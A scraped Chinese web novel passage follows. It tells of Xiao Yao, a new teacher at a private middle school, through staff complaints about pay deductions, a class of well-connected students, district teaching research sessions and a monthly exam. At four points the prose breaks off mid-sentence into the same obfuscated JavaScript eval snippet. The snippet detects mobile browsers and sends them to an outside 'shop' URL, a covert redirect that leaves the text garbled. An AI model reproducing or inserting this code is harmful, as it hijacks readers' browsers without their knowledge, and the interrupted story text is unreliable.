“学校的饭堂换了承包商,饭菜难吃不说,还贵。特别是学生饭堂。” 历史陈老师点点头,继续补充:“还有也不知道这些领导从哪里学来的扒皮手段,我们忘打卡一次要扣钱,被发现课堂有学生睡觉、看课外书要扣钱,忘记关灯要扣钱,常规检查不满意要扣钱。” “我们工作量加大了,到手的钱却少了。” “反正啊,这些人巴不得天天就盯着我们,想方设法扣钱。” “所以上学期很多老师受不了了,直接辞职走。这学期才会新来那么多老师。” “我觉得就是学校为了降低成本,故意逼走老师,这样学校就不用赔钱了。” 美术何老师神色微妙,她是行政办的兼任老师,常常接触这些领导。 虽然很多事情领导不会告诉她,但是她也能或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239879|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多或少知道一些。 肖遥震惊。 这是什么资本家行为啊。 她忍不住吐槽出声。 “这是地主,不对,是奴隶主行为。”历史陈老师更正:“我们可没有八小时工作制,班主任更惨,直接007。” “我们就是奴隶主手里的老黄牛,干个不停。” 听到陈老师带有嘲讽的话,肖遥扯了扯嘴角,也忍不住自嘲一笑。 她们除了私底下骂几句领导,也没别的办法。 直接辞职吗? 如果肖遥没有这个破培训计划,她会这么干。 其他人呢? 这两周,肖遥接触了不少同事。这些同事都挺好的,面对她的疑问,都会热心解答。 因此,她逐渐知道了学校恶心的行为,也明白同事们依旧留下来的原因。 要么年纪大了,家庭定下来了,不好换工作。 要么孩子也在这家学校上学,所以为了孩子忍着。 要么工作不好找,天下乌鸦一般黑,所以只能苟着。 肖遥看了看电脑屏幕的课件,叹了口气,继续忙她的工作。 难啊。 ...... 很快到了晚会当天。 所有学生离校后,全部教职工聚在了操场。 “尊敬的各位领导、各位来宾,亲爱的同事们,大家晚上好!” “在这金风送爽、丹桂飘香的美好时节......” 肖遥啃了啃手上的鸡翅,眼神一亮,好吃,皮薄肉嫩! “......家人们,我们因共同的理想和事业聚集在这里,学校就是我们共同的家......” 肖遥嗤笑了一声,继续夹起面前的炒面。 该讲钱的时候跟你讲贡献,天天就会画饼。 “......最后,祝学校的明天如同今夜明月,更加光明、美好!” “啪啪啪啪啪啪啪啪” 肖遥跟着众人象征性地拍了拍掌,继续吃着烧烤,听着同事们的八卦。 “哟,今年这个晚会比去年弄得豪华啊,还搞了这么多灯饰。” “切,学校有钱了呗。” 两个老师心照不宣地笑了。 “什么有钱,你们还指望抠门的学校出钱?”一个男老师注意到四周没有领导后,悄声分享听来的八卦:“我听说这些都是集团和其他合作的学校赞助的,今天ta们也过来了,所以学校搞了很大的排场。” 他抬头点了点最前方的桌子:“就那群人。” 肖遥端起可乐,眯了眯眼,也透过人群看向最前方靠近舞台的桌子。 一群熟悉的领导正在举杯换盏,脸上都是平时少见的谄媚。 啧,原来都是牛马啊。 不过牛马最会为难牛马了。 肖遥暗自摇了摇头,继续开吃。 不得不说,饭堂大厨烧烤的手艺还是不错的。 怎么平时就做得那么难吃呢? ...... 学校晚会没什么特殊的,主持人开场后,就是学校领导讲话,集团领导讲话,还有对上学期的教学工作和招生工作进行表彰,还有激动人心的抽奖。 肖遥看着台上熟悉的面孔,不管大家对学校有什么不满,此刻都其乐融融。 肖遥似乎越来越明白什么是工作,什么是人生了。 唉。 钱难挣,屎难吃。 都为五斗米折腰。 5. 关系户班级 周一早上6:50分。 被被子盖住脑袋的肖遥伸出手四处摸索,最后在床边摁掉响个不停的闹钟。 不想起。 不想起。 不想起。 肖遥艰难地睁开朦胧的双眼,看着天花板发呆。 她最讨厌每周一升旗了。 哦,还有早读。 原本以为大四没课后,她就不用再受早八的苦了。谁知道成为教师后,她还要受这个苦,甚至还要更早起。 肖遥泪目。 她发誓,出去以后一定不再从事教师工作。 磨磨蹭蹭了几分钟后,肖遥最终还是起来了。 再不洗漱,她就要迟到了。 被行政办的人发现没按时到操场,那可是要被扣钱的! ...... A市9月的阳光还是一样的猛烈。 在操场站了40分钟的肖遥拿着已经干透的纸继续擦掉脸上的汗。 学校发的工服不透气,她的后背已经被打湿,黏糊糊的不好受。 肖遥扇了扇手上的纸,试图给自己降温,可惜带来的是热风。 她看着旁边站立的学生,红彤彤的脸上同样汗流不止。 不少学生耷耷着脑袋,躲避刺眼的阳光。 肖遥叹了口气。 不仅老师难受,学生也难受。 她看着台上还在继续高昂“演讲”的校长,内心满是不满。 就不能言简意赅,赶紧结束吗? 好在,似乎校长也被晒得受不行了,终于结束了他滔滔不绝的说教。 肖遥赶紧小跑着回到办公室。 下次她得学习一下其他女教师,防晒衣、翻晒帽全戴上。 ...... 在照常上完第一节课后,肖遥准备上706班的道法课。 七年级偶数班都是重点班,其中706至7010班都是道法赵老师带的班级。但由于她这两天要外出开会,只剩706班的道法课不好调课。因此,肖遥帮她上一节,追平其他班级的进度。 对于这个班,逍遥早有耳闻。 因为这个班是年级内部赫赫有名的“关系户班级”。 不仅有小学部、初中部老师的孩子在,而且陶副校和彭副校的孩子也在这个班级。 另外,部分通过校领导的介绍进入学校的孩子也在这个班级。 可以说,706整个班都是“关系户”。 也因此,原本应该带初二的道法赵老师、历史陈老师、年级主任语文马老师等有经验的教师都留在了初一,为706班提供优质的“教学”。 而706班的幺蛾子也很多,包括学生和家长。 这是肖遥去隔壁办公室晃悠的时候听到的。 军训期间,6班的家长就开始“骚扰”班主任和各科老师。 “马老师,我是玥妍的妈妈。玥妍从小就乖巧听话,小学一直当班长。你看要不让她开学后继续当班长?” “......” “子琪军训的表现如何?你有空再发点图片给我,最好拍个视频。” “......” “马老师,我是子贤的爸爸,子贤从小我就培养他阅读各种书,小学语文都是接近满分。他希望担任语文课代表,麻烦你安排一下。” “......” “陈老师,读史使人明智。我非常喜欢历史,我初中、高中时候的历史成绩非常好。我常常教导我的儿子要多读历史书,开拓自己的视野。麻烦你以后多多关照我的孩子,最好让他当历史课代表,磨练他。” “......” “马老师,学校有学生会对吧,麻烦你安排国杰进去学生会。谢谢!” “......” “32个学生,30个跟我说要当科代表,要当班干部。还有两个让我安排进学生会。我是有多大能耐,还能安排?” 有着多年教学和班主任经验的年级主任都忍不住吐槽:“我跟他委婉解释了,我安排不了学生会的事。他居然跟我说他已经和校长说过了。” “这是拿校长来压你?” “是啊。最后我说了,学生会是需要孩子自己报名自己去面试的,老师们无法安排。通过竞争的形式才能更好地磨练孩子们的能力。结果,他就不回我了。” 面对706班的家长,道法赵老师也困扰不已:“这些家长一点礼貌也没有,说话没有称呼就算了。也不看看时间,大晚上9点多10点还发信息。” 年级主任继续接上:“发完信息还得你立刻回,不回就电话轰炸。我还以为是什么紧急事件,结果是让ta孩子白天去门卫室拿快递。你说就这么点小事,ta就不能直接发信息说明白?” 说起班级的事情,年级主任烦躁得直挠头。 她以前不是没遇到过关系户,可这个班的难搞程度可谓之最。 历史陈老师加入吐槽:“还有那群学生,真是有什么样的父母就有什么样的孩子。我教书这么多年,就没见过这么没礼貌的学生。” “老师是不叫的,她她她,她是谁啊?” “上课是吵闹的,每天跟菜市场一样,隔着几排都能聊天。” “作业是不写的,天天跟我说没时间写,晚点交晚点交,然后就没然后了。” “别说你了,连我这个班主任的作业都不想写,我说ta几句,ta还跟我顶嘴。” “唉~” 三人齐齐叹气。 她们都不想教这个班,或者说没人想教这个班。 可是她们的教学是由校长和教导处主任安排的。 没办法,钱难挣,屎难吃。 一旁听完全程的肖遥由一开始的震惊到庆幸。 庆幸她不教这个班。 她回想1至5班的学生,虽然上课总是回答不上来问题,作业写得乱七八糟,上课睡觉还顶嘴。但起码大部分学生被她骂了之后会收敛一点,这些孩子的家长对自己的孩子也有自知之明,没太高要求。 只不过,今天肖遥终于还是要趟这个雷场,只希望这个学生给她个面子。 但很显然,她想得太美好了。 连自己班主任的面子都不给的学生,还指望会给她一个年轻的教师面子? 别以为学生很单纯,ta们最会看人下菜。 这是肖遥成为教师后得出的最大结论。 她看着提醒了两次还在趴着睡觉的学生,忍不住把书摔在讲台上。 弄出的巨大声响让原本吵闹的班级瞬间安静,也将学生从睡梦中吵醒。 肖遥阴沉着脸,盯着面前的学生厉声道:“陶梓航,你要想睡觉,你就去你爸办公室睡。” 不知是第一次看到肖遥发火,还是因为提到了自己的爸爸,陶梓航眼神躲闪,语气怯怯:“老师,我错了,不敢了。” 肖遥挑眉,继续阴沉着脸:“既然你知道错了,那就站教室后面去,什么时候不想睡了再回来。” 陶梓航扭动着身体犹豫不决。 他爸是校长,他可不想被罚站。 太丢脸了。 可当他对上肖遥冷酷的眼神,知道改变不了这个事实,因此扭扭捏捏地拿着课本慢慢挪到后门站着。 肖遥环顾了班级一圈,又点了个名字:“陈清,站后面去。” “凭什么?我又没睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239880|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 又是理直气壮的反驳。 “我看见你讲话了。” 陈清还想反驳的话被噎住。 但很快,他又伸着脖子大喊:“凭什么只罚我,戴文泽先找我讲话的。” 肖遥冷笑了一声:“别着急,我还没说完。戴文泽,你也站后面去。” 被同桌和老师点名的戴文泽心虚地拿起课本快速站到教室的另一边。 见此,陈清也只能不情不愿地照做。 三个学生站好后,肖遥沉默了一会。 她再次环顾教室一圈。 不少学生都低着头,装作看书。 肖遥心里冷哼一声,面容依旧冰冷,她不急不徐道:“才上课10分钟,睡觉的睡觉,聊天的聊天,还有的发呆。如果你们都不想上这门课,直接跟我讲,我安排你们写试卷。” 她指了指头上的监控,“又或者我把视频发给你们家长,让ta们看看你们是怎么在学校学习的。” 她又对着后排的陶梓航提醒了一句:“你等会下课去我办公室,我带着你去找陶校长。” 陶梓航的脸瞬间惨白。 “其他人不想上课的,直接给我出去。你要是有意见,你让你父母来找我。” 其他学生的脸色逐渐难看,似是没想到肖遥会这么对校长的孩子,会这么对待ta们。 毕竟,开学初,6班的学生都知道自己班有校长的孩子在。 因此,这些学生从入学开始就很嚣张,总不把其他班级的学生放在眼里。 因为ta们知道,无论这些学生犯了多大的错,班主任再生气,最多罚抄或者打电话跟家长告状。 老师骂完ta们后还是继续和颜悦色地讲课。 至于ta们的家长嘛,ta们回去撒撒娇,认个错,再吐槽一下对老师的不满,ta们的家长就会反过来对老师们生气。 所以这些学生根本不把老师放在眼里。 如果肖遥知道这些人的想法,必定要狠狠臭骂一节课。 果然是什么样的家庭,养出什么样的孩子。 肖遥看着终于安静的教室,继续她的赶课。 她又被浪费掉了5分钟。 ...... 下课铃响后,肖遥将陈清和戴文泽拎到办公室,怒训一顿后,她让两人罚抄道法知识点。 接着,她直接带着陶梓航杀到了陶校的办公室,一五一十地将情况告知他。 “陶梓航,你晚上都偷鸡摸狗去了是吗?节节课都睡觉,几乎每个老师都跟我投诉你。你这么喜欢睡,休学滚回家睡。” 陶副校插着腰,脸色铁青,怒气冲冲骂着面前这个不争气的儿子。 他脸上的横肉因为嘴巴的大幅度动作而颤动:“我等会就跟马老师说,你今天上课都别坐下了,给我站着。你明天继续睡,继续站。” 陶梓航的脸由一开始的惨白变成绯红,喉咙里发出了断断续续的呜咽声。 见此情况,陶副校不再管他,反倒止不住地跟肖遥道歉:“肖老师啊,我这个儿子让你费心了,我一定好好教训他。” 肖遥假惺惺地回了个笑容:“哪里哪里,大家都是为了孩子嘛。” 肖遥关上校长办公室的门,步态轻松地走向办公室。 她才不相信陶副校的话。 毕竟他要是用心管他的儿子,他儿子也不会嚣张至今,他也不至于老是收到老师们的投诉。 但肖遥也不在意,她只是想通过陶梓航来杀鸡儆猴罢了。 尽管可能效果不长久,但只要持续到她代课结束为止就够了。 现在,她要回去继续“惩罚”还在办公室的两只小猴子。 6. 麻烦的教研1 每周四都是肖遥最喜欢的工作日。 每周四的早上二、三节是道法科组教研,下午只有两节课,没有早读,没有晚自习。 但前提是她不用外出教研。 什么是教研? 教研分为校内教研和校外教研,目的都是提升教学质量、促进教师专业发展。。 校内教研比较简单,一般是科组内的教师在每周的某个时间聚在一起探讨教学工作,比如集体备课,听课评课,分析教学问题。 校外教研就麻烦了,一般是区或市的教师发展中心开展的听评课、讲座,因此参加校外教研往往会花费半天的时间,有时候还影响上课,需要教师调课再外出。 对于校外教研,肖遥的态度是: 麻烦。 上课铃一响,肖遥便拿着课本和教案本悠闲地走向教研室。 初中道法科组只有6位教师,2个老师负责1个年级。 除了肖遥和初二的范老师外,其他的道法老师都是经验丰富的老教师。 因此,道法赵老师成为了肖遥的“师傅”,这源自于师徒结对的“青蓝工程”。 什么是“青蓝工程”? 学校的骨干教师与青年教师以签订协议和颁发证书的形式进行师徒结对,也就是老教师通过听课评课、备课指导等方式进行帮助新教师快速适应教学工作。 一般情况下,1年为一培养周期。 在此期间,新教师要听老教师的课,老教师同样要听、评新教师的课,师徒双方还要进行同课异构。 学期末,双方还要进行学期小结,撰写报告。 这个工程听着很有利于新教师,也有利于学校的长期发展。 但肖遥觉得,它就是个屁! 先不说教师的工作繁忙,老教师未必有足够的时间带新教师。 某些学校里,一个学科可能就只有1-2个教师,会出现了跨学科、跨年级的师徒结对。 以及,每个教师都有自己的教学风格和教学理念,强行把两个人捆绑在一起,对于双方来说都是痛苦的。 而道法赵老师也持有同样的看法。 因此,两人师徒结对后,赵老师只在开学初听过肖遥的一节课,给予了一些意见后,就未太过于干涉肖遥的课堂。 而肖遥也只听过两次赵老师的课,咨询了一些建议。 毕竟听太多课,对于老教师而言,也是一种负担。 当然,两人也会一起讨论教学重难点、教学进度和作业的布置。 她们并非是文件里所谓的师徒关系,而是互帮互助的同事关系。 总之,肖遥很喜欢这种状态。 而道法组的老师们也是类似的心态。 因此,对于肖遥而言,每周一次的组内教研更像是一场短暂的休息。 “赵老师,范老师......” 肖遥一一打过招呼后,坐在了道法赵老师的对面。 赵老师见人齐后,便传达了教务处的最新要求。 “......各位老师一定要在预备铃响后就进教室,上课迟到一次扣50。” “......上课一定遵循20+20的课堂,也就是老师讲20分钟,把剩余的20分钟留给学生,要让学生多发言、多回答问题,多开展小组活动。” “......上课要注意学生不能趴桌子、不能睡觉、不能吃东西、不能看课外书,领导们会巡堂,发现一次扣50。” “......各组准备下周的月考出题。” “......” 还未讲完,其他老师就开始吐槽了。 八年级何老师:“怎么学校越来越变态了,上课迟到这个没得说。怎么学生睡觉也要扣老师钱?” 九年级杨老师:“就是,那几个颠公,我巴不得他们看课外书、睡觉,反正他们也不学,不让他们看课外书和睡觉,他们就开始吵其他人,我还怎么上课。” 八年级范老师:“难怪我说最近怎么经常看到那几个推门进来,原来是扣钱来了。” 七年级赵老师:“唉,我好像被记了几次了。” 肖遥:“......+1” 八年级何老师:“20+20,那些人有毛病吧。当这是小学呢,我课都上不完了。” 肖遥:“ta们是不是看到其他学校的公开课,所以也要跟风搞这个?” 八年级范老师:“那也不看看我们学校什么生源,跟人家哪有得比?再说了,公开课,都懂的啦。” 肖遥&赵老师&何老师&杨老师&方老师默契地点点头。 不选好学生,不排练几遍,那还叫公开课? 公开课搞搞这些形式就算了,常规课也搞? 只能说,这些领导是不管教师死活的。 九年级方老师:“我九年级这些学生,一到上课就变哑巴了。问个问题半天都没人能回答,还指望这些人能够自主学习,小组讨论?” 九年级杨老师:“早读也是啊,一班人都在嗡嗡叫,声音还没我大,气死了。” 八年级何老师:“八年级的学生已经有这种趋势了。” 赵老师一锤定音:“所以这些话听听就行,不用管这些领导,我们该怎么上就怎么上。” 肖遥点点头,手下的笔却未停过。 因为这是个写教案的好时间。 是的,手写教案。 肖遥是新教师,所以她和范老师一样都要手写教案3年。 她不懂,都是未来社会了,都在强调AI教学了,为什么教师还要手写教案? 手写教案也许确实能帮助新教师熟悉教材,理清教学思路。 但3年就没必要了吧,尤其是在教师还肩负着如此多工作的情况下。 肖遥认为手写教案就是一种负担。 她曾询问过赵老师。 赵老师给她的回复是:没办法,她刚入校的时候也写了3年教案,领导说了大家都这么过来的。如果不手写教案,就会扣钱。 肖遥:。。。。。。 恶心的规定。 恶心的领导。 恶心的服从性测验。 肖遥想,大概也就教师群体才会如此乖乖听话吧。 唉。 旁边的八年级何老师则在写集体备课本。 一周一篇,一人一次轮着来,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239881|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样期末就能作为材料上交了。 “对了,上周四杨老师参加了区九年级教研,昨天我和范老师去参加了区七八年级教研,下周还是七八年级区教研,何老师和肖老师一起去。” 赵老师将教研文件发到了教研群里,提醒两人:“可以问问历史科组的老师,一起打车过去好报销。” “怎么又教研?” 八年级何老师不解:“这学期才开学几周啊,这么多教研?” 赵老师:“别说了,我昨天问了教研员,她说这学期除了考试周,大概率周周都有教研活动。” 肖遥&何老师瞪大了眼睛:“啊???” 九年级方老师拍拍了何老师的肩膀,安慰道:“知足吧,我们学校老师多,还能轮着去。你看隔壁的新桥学校,2个老师包了3个年级的历史教学,基本周周都要出去。” 八年级范老师:“是啊,反正就听讲座和公开课,又不是我们上。” 听到这话的赵老师欲言又止,最后还是说了出来:“教研员发了公开课的文件,教务处要求我们每个学科都得出一名老师参加。” 肖遥&范老师&何老师&杨老师&方老师:。。。。。。 范老师指了指手机屏幕:“这个文件不是说了自愿参加吗?” 赵老师神情复杂地点点头:“所以我们是‘被自愿’。” 。。。。。。 赵老师基于科组长的身份还是劝了几句:“这个公开课还不着急,大家可以再考虑考虑。” 她看向肖遥、范老师和何老师:“但如果你有评职称需求的,最好参加。不一定上本年级的课,可以借班来上。” 三人点点头。 范老师和何老师都明白,作为教师,评职称和公开课会伴随她们一生,只是早晚的区别。 而肖遥却不以为然,毕竟回去后,她可不会再当老师了。 而且她也不同于范老师有过一年的教学经验,她是刚进入教育行业的新教师。 因此,她暂时还不需要上场。 ...... 很快就到了周四的区教研。 早上7:45分。 坐在副驾驶座的肖遥打了个哈欠,眼皮直打架。 早上7点不到她就起床了,因为这次区教研是去另一个学习听课,8:10分开始。 而这个学校离A市实验学校有着50分钟的路程,且还没算高峰期的堵车时间。 因此,她匆忙洗漱,啃了个面包就直奔校门口。 八年级道法何老师已经打好了车,一起过去的还有七年级历史陈老师和八年级历史莫老师。 大家的脸上都残留着朦胧的睡意,只能在车上浅浅补个觉。 8:05分,四人到达了目的地。 肖遥努力睁开眼皮,抬头看了眼校门。 嗯,很金碧辉煌。 这是肖遥的第一感觉。 大约是看出了肖遥的震惊,历史陈老师对着肖遥咬耳朵:“这是我们区排名第一的中学。” 道法何老师在后面补充道:“各种意义上的第一。” 肖遥感叹:“区排名第一的居然是民办中学啊。” 7. 麻烦的教研2 肖遥过去上的都是公办学校,因此对于区第一是民办学校这件事还是挺震惊的。 “我以为优秀生源都会去公办学校。” “我们区以前排名靠前的确实是公办。”历史陈老师边走边小声为肖遥解释:“但是随着教育的发展,越来越多的家长发现公办教育满足不了ta们的需求,而有些民办学校也办得越来越好,所以一些成绩不错的孩子,家长会选择把ta们送去民办学校。” 历史陈老师:“比如这家A市外语实验学校,是十二年一贯制民办学校,6年小学+3年初中+3年高中,高薪招聘优秀教师,实行高强度教学,再加上优秀的生源。因此每年中考和高考都取得优异成绩。” “名声打出来了,就是学校挑生源了。” 肖遥满脸的不解:“可是现在出生率下降了,生源减少了,民办学校还能搞得过公办?” 道法何老师:“唉,小学和初中提供义务教育,面对的是全体学生,教师很难做到‘卷’。而现在家长比以前难搞、教师压力大、加上又是‘铁饭碗’,因此很多公办的老师就‘佛系教学’了。” “很多家长不满意公办,就会转去民办学校。” “没条件的自然还是去公办学校,可是有条件的家长还是会选择去民办,‘卷出成绩’。” “我们学校也不少公办学校转来的学生,很多家长都说公办老师管得不严,孩子出不了成绩,所以转来。” 历史莫老师有朋友在公办学校上班,深知里面的情况,因此打抱不平道:“公办学校一个班40、50个孩子,管也管不过来啊。” “而且我觉得不少家长是不想管孩子,所以扔到寄宿制学校。你看我们学校那些学生的家长,巴不得孩子放假也在学校。” 历史陈老师和道法何老师赞同地点点头:“那倒也是。” 道法何老师耸了耸肩,心态颇好道:“有需求就有市场,去不了高端民办的学生,就会流入我们这类中等学校。反正民办还能再熬一熬。” ...... 一行四人跟着指引走向学校礼堂,与各学科的教研员会合后,纷纷走向教学楼。 肖遥与道法何老师走进702班,环绕教室一圈,心中不由得暗暗点头。 果然是高端民办学校,这装修、这设备都是一等一的好。 连学生都洋溢着欢乐的笑容,热情跟老师们打招呼。 第一节课和肖遥以前听过的公开课没什么两样。 有趣的导入,逻辑清晰的教学思路,热闹的小组讨论,积极发言的学生,这是节成功的公开课。 虽然别的公开课也是类似的流程,但是就是看出这个学校学生的配合和优秀。 肖遥就像看邻居家的孩子,越看越满意。 再对比自家学生。 唉。 算了。 不提了。 课间短暂休息后,迎来了八年级的公开课。 道法何老师在和教研员简单交流了几句后,悄悄告诉肖遥:“听说这节课采用新型教学方法——项目式学习。” “?” 肖遥疑惑,什么叫做项目式学习? 欸? 不搞大单元教学了? 不搞跨学科融合了? 不搞AI赋能了? 肖遥仔细研读手上的教学设计和导学案。 没看出来有什么特别啊。 对上肖遥疑惑的眼神,道法何老师撇了撇嘴,表示她也不懂。 虽然肖遥不上八年级的课程,但她决定认真听听这节课,学习一下项目式教学。 ...... 下课铃响。 肖遥:...... 道法何老师:...... 两人对上彼此的眼神,又心领神会地移开。 肖遥忍不住暗暗翻了个白眼。 这是什么玩意? 她感觉自己的时间被浪费了。 她微微侧头向左看,发现身边几位有阅历的教师也是一言难尽的表情。 她再看向右边。 嗯。 教研员非常满意。 ...... 今天的教研流程是听完公开课课后,各学科在准备的教研室会合并进行讨论。 肖遥跟随着人流落座。 教研员见人齐后便开始了讲话。 “我们今天听了两节公开课,想必老师们都有了深刻的认识。因为时间原因,我就简单的说一下,不再请各位老师发言。” 低着假装看听课本的肖遥暗暗松了口气。 不用发言就好。 “第一节是我们常规的公开课,洛老师的教学思路还是非常清晰的。用情境引入,吸引学生的学习兴趣。接着通过各种材料进行设问和小组讨论,师生互动很好,小组讨论也非常有效果。还用了AI讲解,课堂效果很不错啊。整个教学环节也很完整,但是在某些地方还可以再精进......” “第二节公开课是我们区教学丰富的贺老师设计的,采用项目式学习的教学方法。什么是项目式学习,上周我们也开了教研讲座。项目式学习,Project-Based Learning,简称PBL,其实就是改变过去的教学传统,让学生在课堂发挥学习的主体性地位。” “教师在把握课标和教材的基础上设计教学,提出驱动性问题,创设真实情景。让学生在解决实际问题的过程中,更好地掌握知识和技能。在实际教学中,通过微项目分解任务,微团队合作完成任务,通过微实践探究,最终产出微成果。提升学生的学习能力和解决问题能力。” “这个项目式学习对教师的要求比较严格,要明确这节课的问题,并设计好每个任务。让小组在课前自主搜寻资料,并在课上公开展示与分享,学生持续探究问题,课后教师要进行反思、评价和修改。” “......” 肖遥:...... 如果眼前有面镜子,大概就能照映出肖遥眼里的呆滞和无语。 肖遥把沉寂已久的系统喊了出来。 “未来社会的教育发展真快啊,”肖遥嘲讽道:“你们确定这些真的适用于学生吗?” “对于生源好的学校来说确实可以做到,因为这些学校有着优秀的教师和优秀的学生。但是那些生源一般的学校呢?” 系统沉默不语。 肖遥继续吐槽:“说得好听,要让学生自主学习、提升解决问题的能力。可实际上,这种教学一点都不现实。” 虽然肖遥只上了几周的课。 但她已经感觉到了,现在的教学真的很难。 很多学生根本就不在乎学习,更别说养成良好的学习习惯了。 连一个简单的课前预习都做不到,还指望ta们自己会在课前搜查资料? 一个班里多少个小团体,上着课都能吵起来,ta们会合作探究解决问题? “从大单元教学,到跨学科融合,到AI赋能,再到项目式学习,最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239882|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不如传统的讲授法有效果。” 眼前的小蓝光忽暗忽明:“亲,时代在进步,教育也在进步,改革也是为了学生的发展。” “可是脱离实际的教学方式只会加重老师和学生的负担。” 系统继续沉默。 肖遥也不再逼问。 她也明白,这不是单个学校或地区的问题。 眼前的教研员还在眉飞色舞地说着项目式学习的好处。她展示了几篇项目式学习的论文,鼓励老师们多多学习。 肖遥叹了口气,她感受到一种无法言说的、深深的无力感。 ...... 教研结束,肖遥与其他老师在A市外语实验学校的教师餐厅吃完了午餐,才坐上了回校的出租车。 一上车,历史陈老师就忍不住吐槽:“你们道法的公开课有开展项目式学习吗?” 肖遥:“有,我们教研员还大大夸赞了一番,让我们好好学习呢。” 历史陈老师:“嗤,我看这些教研员是不是吃饱了没事做,还是需要课题发论文啊。搞完AI又来搞什么项目式学习。” 道法何老师:“唉,别提那个AI了,上次片区公开课,我没用到AI,被教研员一顿阴阳怪气。” 肖遥:“我看这AI赋能课程也水水的,很多都是搞了个卡通形象,代替老师说话而已。满满的形式主义,还不如不搞。” 历史莫老师:“可不是,没意义也没那条件。我们学校设备还算可以的了。看看很多学校的电脑,打开个课件都卡卡的,还指望插入AI?” 历史陈老师:“哎哟,可不敢这么说。很多人都说了,AI时代来了,AI要替代教师,我们要失业了。” 道法何老师:“哈哈哈哈哈哈,嘴嗨而已,你看多少家长真愿意让AI代替真人老师上课?看看之前上网课的那批孩子,学习效果多差啊。” 肖遥深有体会地点了点头,作为一名上过网课的大学生,她明白自己的自制力有多差。 连大学生尚且如此,更何况还不成熟的中小学生? “AI才过去多久,又搞项目式学习。”历史陈老师继续吐槽:“你是没看今天的历史课,说好听点,都是学生在发言,发挥了学生学习的主体性。可实际上这节课上得就是不明不白。” “重难点没突出,知识点之间没有衔接过渡,课上全都是什么表演啊花里胡哨的东西,像个话剧。” 历史莫老师:“还超时了,这节课花了50分钟。” 道法何老师:“道法也一样,分了几个小组完成任务,可每个小组的发言都是浅浅带过知识点,最后的解决问题也没有体现到。我们倒没有超时,但是也没有课堂练习。” 她摇了摇头:“根本不够时间做。” “浪费我一早上的时间,我还特地调了课。”历史陈老师忍不住抱怨。 历史莫老师拍了拍陈老师肩膀,安慰道:“习惯就好啦。反正过不了多久,又会出来一个新型教学方式。我们该怎么教还是怎么教。” 肖遥透过车窗,眺望着远处的风景。 一层层白云高高挂在天空,深浅不一,只有一束微弱的阳光能穿过云层洒落在大地上。 无论提出什么新的教学观念,很快会被下一个代替。 基层的教师还是会采用最传统、也是最有效的教学方式。 因为ta们才是直接接触学生,也是最了解学生的人。 至于那些教研员的话? 捂耳不听就行了。 8. 月考 每到月底,所有人都很忙。 因为每月一次的月考来了,还有每月底的教师常规检查。 初中部月考试卷是由老师们轮流出题,包括语、数、英、道、历、物、化七科。 这一次七年级道法试卷是由道法赵老师准备的。 肖遥读书时很喜欢考试,因为一到考试,她就不用上课。 而且每次考试后,类似于开盲盒的成绩会让她很激动。 只是,如今身份互换,肖遥只觉得考试, 好无聊哦。 坐在讲台上监考的肖遥无所事事。 她左手托着下巴,右手无意识地用笔戳了戳讲台上粉笔盒,目光直视学生,看似监督学生,实则两眼空空。 作为监考老师,她不能带手机进考场,不能看书,不能写教案,也不能频繁走动,因为这会影响学生答题。 如果困了,她只能偶尔站起来在讲台走一圈,看看教室的布置、看看课表、看看黑板报。 肖遥换了只手托住摇摇欲坠的下巴。 突然,下方学生的一个动作吸引了她的注意力。 肖遥的眼睛瞬间亮了起来。 来了来了。 肖遥对这个男生没有印象,应该是赵老师的学生。 他一开始在认真做题,但随着题目难度的增加,他的眉头愈发紧蹙。 最后,他的视线开始瞟向左右两边,身体逐渐坐直。 但他的视线并没有持续很久,因为他小心翼翼地看向了讲台方向。 见老师没有注意到他,男生开始胆大起来。 他对上右边男生的视线,又看了看试卷,暗示他不会。 右边男生心领神会,直接将答题卡移到桌子的侧边。 见他要开始抄了,肖遥突然出声:“自己完成试卷,不要东张西望。” 